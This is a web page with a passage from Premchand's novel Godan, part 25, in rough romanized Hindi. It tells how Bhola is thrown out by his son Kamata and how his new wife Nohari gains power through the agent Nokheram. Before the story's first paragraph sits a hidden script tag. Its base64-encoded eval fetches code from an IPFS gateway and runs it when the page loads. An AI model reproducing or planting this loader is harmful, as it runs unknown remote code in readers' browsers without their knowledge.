गोदान उपन्यास भाग-25

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>bhola idhar doosari sagaee lae the. aurat ke bagair unaka jivan niras tha. jab tak jhuniya thi, unhean hukka-pani de deti thi. samay se khane ko bula le jati thi. ab bechare anath-se ho ge the. bahuoan ko ghar ke kam-dham se chhutti n milati thi. unaki kya seva-satkar karatian. isalie ab sagaee paramavashyak ho gee thi. sanyog se ek javan vidhava mil gee, jisake pati ka dehaant hue keval tin mahine hue the. ek l daka bhi tha. bhola ki lar tapak p di. jhatapat shikar mar lae. jab tak sagaee n huee, usaka ghar khod dala.

abhi tak usake ghar mean jo kuchh tha, bahuoan ka tha. jo chahati thian, karati thian, jaise chahati thian, rahati thian. jangi jab se apani stri ko le kar lakhanoo chala gaya tha, kamata ki bahoo hi ghar ki svamini thi. paanch-chh: mahinoan mean hi usane tis-chalis rupe apane hath mean kar lie the. ser-adha ser doodh-dahi chori se bech leti thi. ab svamini huee usaki sauteli sas. usaka niyantran bahoo ko bura lagata tha aur ae din donoan mean takarar hoti rahati thi. yahaan tak ki auratoan ke pichhe bhola aur kamata mean bhi kaha-suni ho gee. jhag da itana badha ki alagyojhe ki naubat a gee aur yah riti sanatan se chali aee hai ki alagyojhe ke samay mar-pit avashy ho. yahaan bhi us riti ka palan kiya gaya. kamata javan adami tha. bhola ka us par jo kuchh dabav tha, vah pita ke nate tha, magar nee stri la kar bete se adar pane ka ab use koee hak n raha tha. kam-se-kam kamata ise svikar n karata tha. usane bhola ko patak kar kee latean jamaeean aur ghar se nikal diya. ghar ki chizean n chhoone dian. gaanv valoan mean bhi kisi ne bhola ka paksh n liya. nee sagaee ne unhean nakkoo bana diya tha. rat to unhoanne kisi tarah ek pe d ke niche kati, subah hote hi nokheram ke pas ja pahuanche aur apani phariyad sunaee. bhola ka gaanv unhian ke ilake mean tha aur ilake-bhar ke malik-mukhiya jo kuchh the, vahi the. nokheram ko bhola par to kya daya ati, par unake sath ek chatapati, rangili stri dekhi to chatapat ashray dene par raji ho ge. jahaan unaki gaean bandhati thi, vahian ek kothari rahane ko de di. apane janavaroan ki dekhabhal, sani-bhoose ke lie unhean ekaek ek janakar adami ki zaroorat mahasoos hone lagi. bhola ko tin rupaya mahina aur ser-bhar rojana anaj par naukar rakh liya.

nokheram nate, mote, khalvat, lanbi nak aur chhoti-chhoti aankhoan vale saanvale adami the. b da-sa pagg d baandhate, nicha kurata pahanate aur ja doan mean lihag odh kar bahar ate-jate the. unhean tel ki malish karane mean b da anand ata tha, isalie unake kap de hamesha maile, chikat rahate the. unaka parivar bahut b da tha. sat bhaee aur unake bal-bachche sabhi unhian par ashrit the. us par svayan unaka l daka navean daraje mean aangreji padhata tha aur usaka babuaee thath nibhana koee asan kam n tha. rayasahab se unhean keval barah rupe vetan milata tha, magar kharch sau rupe se kau di kam n tha. isalie asami kisi tarah unake changul mean phans jae, to bina use achchhi tarah choose n chho date the. pahale chh: rupe vetan milata tha, tab asamiyoan se itani noch-khasot n karate the, jab se barah rupe ho ge the, tab se unaki trishna aur bhi badh gee thi, isalie rayasahab unaki taraqqi n karate the.

gaanv mean aur to sabhi kisi-n-kisi roop mean unaka dabav manate the, yahaan tak ki datadin aur jhiangurisianh bhi unaki khushamad karate the, keval pateshvari unase tal thokane ko hamesha taiyar rahate the. nokheram ko agar yah jom tha ki ham brahman haian aur kayasthoan ko uangali par nachate haian, to pateshvari ko bhi ghamand tha ki ham kayasth haian, kalam ke badashah, is maidan mean koee hamase kya bazi le jayaga? phir vah zamiandar ke naukar nahian, sarakar ke naukar haian, jisake raj mean sooraj kabhi nahian doobata. nokheram agar ekadashi ka vrat rakhate haian aur paanch brahmanoan ko bhojan karate haian, to pateshvari har poornamasi ko satyanarayan ki katha suneange aur das brahmanoan ko bhojan karaeange. jab se unaka jetha l daka sajaval ho gaya tha, nokheram is tak mean rahate the ki unaka l daka kisi tarah dasavaan pas kar le, to use bhi kahian nakalanavisi dila dean. isalie hukkam ke pas phasali saugatean le kar barabar salami karate rahate the. ek aur bat mean pateshvari unase badhe hue the. logoan ka khayal tha ki vah apani vidhava kaharin ko rakhe hue haian. ab nokheram ko bhi apani shan mean yah kasar poori karane ka avasar milata hua jan p da.

bhola ko dhadhas dete hue bole - tum yahaan aram se raho bhola, kisi bat ka khataka nahian. jis chiz ki zaroorat ho, hamase a kar kaho. tumhari gharavali hai, usake lie bhi koee n koee kam nikal aega. bakharoan mean anaj rakhana, nikalana, pachhorana, phatakana kya tho da kam hai?

bhola ne araj ki - sarakar, ek bar kamata ko bula kar poochh lo, kya bap ke sath bete ka yahi salook hona chahie? ghar hamane banavaya, gaean-bhaiansean hamane lian. ab usane sab kuchh hathiya liya aur hamean nikal bahar kiya. yah anyay nahian to kya hai? hamare malik to tumhian ho. tumhare darabar mean isaka phaisala hona chahie.

nokheram ne samajhaya - bhola, tum usase l d kar pesh n paoge, usane jaisa kiya hai, usaki saza use bhagavan deange. beeemani karake koee aj tak phalibhoot hua hai? sansar mean anyay n hota, to ise narak kyoan kaha jata? yahaan nyay aur dharm ko kaun poochhata hai? bhagavan sab dekhate haian. sansar ka ratti-ratti hal janate haian. tumhare man mean is samay kya bat hai, yah unase kya chhipa hai? isi se to aantarajami kahalate haian. unase bach kar koee kahaan jayaga? tum chup hoke baitho. bhagavan ki ichchha huee to yahaan tum usase bure n rahoge.

yahaan se uth kar bhola ne hori ke pas ja kar apana dukh da roya. hori ne apane biti sunaee - l dakoan ki ajakal kuchh n poochho bhola bhaee. mar-mar kar palo, javan hoan, to dusaman ho jayan. mere hi gobar ko dekho. maan se l d kar gaya, aur saloan ho ge. n chitthi, n pattar. usake lekhe to maan-bap mar ge. bitiya ka vivah sir par hai, lekin usase koee matalab nahian. khet rehan rakh kar do sau rupe lie haian. ijjat-abaroo ka nibah to karana hi hoga.

kamata ne bap ko nikal bahar to kiya, lekin ab use maloom hone laga ki buddha kitana kamakaji adami tha. sabere uth kar sani-pani karana, doodh duhana, phir doodh le kar bazar jana, vahaan se a kar phir sani-pani karana, phir doodh duhana, ek pakhavare mean usaka huliya big d gaya. stri-purush mean l daee huee. stri ne kaha - maian jan dene ke lie tumhare ghar nahian aee hooan. meri roti tumhean bhari ho, to maian apane ghar chali jaooan. kamata dara, yah kahian chali jae, to roti ka thikana bhi n rahe, apane hath se thokana p de. akhir ek naukar rakha, lekin usase kam n chala. naukar khali-bhoosa chura-chura kar bechane laga. use alag kiya. phir stri-purush mean l daee huee. stri rooth kar maike chali gee. kamata ke hath-paanv phool ge. har kar bhola ke pas aya aur chirauri karane laga - dada, mujhase jo kuchh bhool-chook huee ho, kshama karo. ab chal kar ghar sanbhalo, jaise tum rakhoge, vaise hi rahooanga.

bhola ko yahaan majooroan ki tarah rahana akhar raha tha. pahale mahine-do-mahine usaki jo khatir huee, vah ab n thi. nokheram kabhi-kabhi usase chilam bharane ya charapaee bichhane ko bhi kahate the. tab bechara bhola zahar ka ghooant pi kar rah jata tha. apane ghar mean l daee-danga bhi ho, to kisi ki tahal to n karani p degi.

usaki stri nohari ne yah prastav suna to, aianth kar boli - jahaan se lat kha kar ae, vahaan phir jaoge? tumhean laj nahian ati.

bhola ne kaha - to yahian kaun sianhasan par baitha hua hooan?

nohari ne matak kar kaha - tumhean jana ho to jao, maian nahian jati.

bhola janata tha, nohari virodh karegi. isaka karan bhi vah kuchh-kuchh samajhata tha, kuchh dekhata bhi tha, usake yahaan se bhagane ka ek karan yah bhi tha. yahaan usaki koee bat n poochhata tha, par nohari ki b di khatir hoti thi. pyade aur shahane tak usaka dabav manate the. usaka javab sun kar bhola ko krodh aya, lekin karata kya? nohari ko chho d kar chale jane ka sahas usamean hota, to nohari bhi jhakh mar kar usake pichhe-pichhe chali jati. akele use yahaan apane ashray mean rakhane ki himmat nokheram mean n thi. vah tatti ki a d se shikar khelane vale jiv the, magar nohari bhola ke svabhav se parichit ho chuki thi.

bhola minnat karake bola - dekh nohari, dik mat kar. ab to vahaan bahuean bhi nahian haian. tere hi hath mean sab kuchh rahega. yahaan majoori karane se biradari mean kitani badanami ho rahi hai, yah soch!

nohari ne theanga dikha kar kaha - tumhean jana hai jao, maian tumhean rok to nahian rahi hooan. tumhean bete ki latean pyari lagati hoangi, mujhe nahian lagatian. maian apani mazadoori mean magan hooan.

bhola ko rahana p da aur kamata apani stri ki khushamad karake use mana laya. idhar nohari ke vishay mean kanabatiyaan hoti rahian - nohari ne aj gulabi sa di pahani hai. ab kya poochhana hai, chahe roj ek sa di pahane. saiyaan bhe kotaval, ab dar kahe ka. bhola ki aankhean phoot geean haian kya?

sobha b da hanso d tha. sare gaanv ka vidooshak, balki narad. har ek bat ki toh lagata rahata tha. ek din nohari use ghar mean mil gee. kuchh hansi kar baitha. nohari ne nokheram se j d diya. sobha ki chaupal mean talabi huee aur aisi daant p di ki umr-bhar n bhoolega.

ek din lala pateshvariprasad ki shamat a gee. garmiyoan ke din the. lala bagiche mean am tu dava rahe the. nohari bani-thani udhar se nikali. lala ne pukara - nohari rani, idhar ao, tho de se am leti jao, b de mithe haian.

nohari ko bhram hua, lala mera upahas kar rahe haian. use ab ghamand hone laga tha. vah chahati thi, log use jamiandarin samajhean aur usaka samman karean. ghamandi adami pray: shakki hua karata hai. aur jab man mean chor ho, to shakkipan aur bhi badh jata hai. vah meri or dekh kar kyoan hansa? sab log mujhe dekh kar jalate kyoan haian? maian kisi se kuchh maangane nahian jati. kaun b di satavanti hai. jara mere samane ae, to dekhooan. itane dinoan mean nohari gaanv ke gupt rahasyoan se parichit ho chuki thi. yahi lala kaharin ko rakhe hue haian aur mujhe hansate haian. inhean koee kuchh nahian kahata. b de adami haian n! nohari garib hai, jat ki hethi hai, isalie sabhi usaka upahas karate haian. aur jaisa bap hai, vaisa hi beta. inhian ka ramesari to siliya ke pichhe pagal bana phirata hai. chamariyoan par to giddh ki tarah tootate haian, us par dava hai ki ham ooanche haian.

usane vahian kh de ho kar kaha - tum dani kab se ho ge lala! pao to doosaroan ki thali ki roti u da jao. aj b de amavale hue haian. mujhase chhe d ki to achchha n hoga, kahe deti hooan.

o ho! is ahirin ka itana mizaj. nokheram ko kya phaans liya, samajhati hai, sari duniya par usaka raj hai. bole - too to aisi tinak rahi hai nohari, jaise ab kisi ko gaanv mean rahane n degi. jara jaban sanbhal kar batean kiya kar, itani jald apane ko n bhool ja.

'to kya tumhare dvar kabhi bhikh maangane aee thi?'

'nokheram ne chhaanh n di hoti, to bhikh bhi maangati.'

nohari ko lal mirch-sa laga. jo kuchh muanh mean aya, baka - dadhijar, lanpat, muanh-jhauansa aur jane kya-kya kaha aur usi krodh mean bhari huee kothari mean gee aur apane baratan-bhaan de nikal-nikal kar bahar rakhane lagi.

nokheram ne suna to ghabarae hue ae aur poochha - yah kya kar rahi hai nohari, kap de-latte kyoan nikal rahi hai? kisi ne kuchh kaha hai kya?

nohari mardoan ko nachane ki kala janati thi. apane jivan mean usane yahi vidya sikhi thi. nokheram padhe-likhe adami the. qanoon bhi janate the. dharm ki pustakean bhi bahut padhi thian. b de-b de vakiloan, bairistaroan ki jootiyaan sidhi ki thian, par is moorkh nohari ke hath ka khilauna bane hue the. bhauanhean siko d kar boli - samay ka pher hai, yahaan a gee, lekin apani abaroo n gavaanooangi.

brahman satej ho utha. mooanchhean kh di karake bola - teri or jo take, usaki aankhean nikal looan.

nohari ne lohe ko lal karake ghan jamaya - lala patesari jab dekho mujhase bebat ki bat kiya karate haian. maian harajaee tho de hi hooan ki koee mujhe paise dikhae. gaanv-bhar mean sabhi auratean to haian, koee unase nahian bolata. jise dekho, mujhi ko chhe data hai.

nokheram ke sir par bhoot savar ho gaya. apana mota danda uthaya aur aandhi ki tarah haraharate hue bag mean pahuanch kar lage lalakarane - a ja b da mard hai to. mooanchhean ukha d looanga, khod kar ga d dooanga! nikal a samane. agar phir kabhi nohari ko chhe da to khoon pi jaooanga. sari patavaragiri nikal dooanga. jaisa khud hai, vaisa hi doosaroan ko samajhata hai. too hai kis ghamand mean?

lala pateshvari sir jhukae, dam sadhe j davat kh de the. jara bhi jaban kholi aur shamat a gee. unaka itana apaman jivan mean kabhi n hua tha. ek bar logoan ne unhean tal ke kinare rat ko gher kar khoob pita tha, lekin gaanv mean usaki kisi ko khabar n huee thi. kisi ke pas koee praman n tha. lekin aj to sare gaanv ke samane unaki ijjat utar gee. kal jo aurat gaanv mean ashray maangati aee thi, aj sare gaanv par usaka atank tha. ab kisaki himmat hai, jo use chhe d sake? jab pateshvari kuchh nahian kar sake, to doosaroan ki bisat hi kya!

ab nohari gaanv ki rani thi. use ate dekh kar kisan log usake raste se hat jate the. yah khula hua rahasy tha ki usaki tho di-si pooja karake nokheram se bahut kam nikal sakata hai. kisi ko bantavara karana ho, lagan ke lie muhalat maangani ho, makan banane ke lie zamin ki zaroorat ho, nohari ki pooja kie bagair usaka kam siddh nahian ho sakata. kabhi-kabhi vah achchhe-achchhe asamiyoan ko daant deti thi. asami hi nahian ab karakun sahab par bhi rob jamane lagi thi.

bhola usaka ashrit ban kar n rahana chahata tha. aurat ki kamaee khane se zyada adham usaki drishti mean doosara n tha. use kul tin rupe mahavar milate the, vah bhi usake hath n lagate. nohari oopar hi oopar u da leti. use tamakhoo pine ko dhela mayassar nahian, aur nohari do ane roj ke pan kha jati thi. jise dekho, vahi un par rob jamata tha. pyade usase chilam bharavate, lak di katavate, bechara din-bhar ka hara-thaka ata aur dvar par pe d ke niche jhianlage khat par p da rahata. koee ek lutiya pani dene vala bhi nahian. dopahar ki basi rotiyaan rat ko khani p datian aur vah bhi namak ya pani ke sath.

akhir har kar usane ghar ja kar kamata ke sath rahane ka nishchay kiya. kuchh n hoga, ek tuk da roti to mil hi jayagi, apana ghar to hai.

nohari boli - maian vahaan kisi ki gulami karane nahian jaooangi.

bhola ne ji k da karake kaha - tumhean jane ko to maian nahian kahata. maian to apane ko kahata hooan.

'tum mujhe chho d kar chale jaoge? kahate laj nahian ati?'

'laj to ghol kar pi gaya.'

'lekin maianne to apani laj nahian pi. tum mujhe chho d kar nahian ja sakate.'

'too apane man ki hai, to maian teri gulami kyoan karooan?'

'panchayat karake muanh mean kalikh laga dooangi, itana samajh lena.'

'kya abhi kuchh kam kalikh lagi hai? kya ab bhi mujhe dhokhe mean rakhana chahati hai?'

'tum to aisa tav dikha rahe ho, jaise mujhe roj gahane hi to gadhavate ho. to yahaan nohari kisi ka tav sahane vali nahian hai.'

bhola jhalla kar uthe aur sirahane se lak di utha kar chale ki nohari ne lapak kar unaka pahuancha pak d liya. usake balishth panjoan se nikalana bhola ke lie mushkil tha. chupake se kaidi ki tarah baith ge. ek jamana tha, jab vah auratoan ko aanguliyoan par nachaya karate the, aj vah ek aurat ke karapash mean bandhe hue haian aur kisi tarah nikal nahian sakate. hath chhu dane ki koshish karake vah parada nahian kholana chahate. apane sima ka anuman unhean ho gaya hai. magar vah kyoan usase nidar ho kar nahian kah dete ki too mere kam ki nahian hai, maian tujhe tyagata hooan. panchayat ki dhamaki deti hai! panchayat kya koee hauva hai, agar tujhe panchayat ka dar nahian, to maian kyoan panchayat se darooan?

lekin yah bhav shabdoan mean ane ka sahas n kar sakata tha. nohari ne jaise un par koee vashikaran dal diya ho.

sanbandhit lekh

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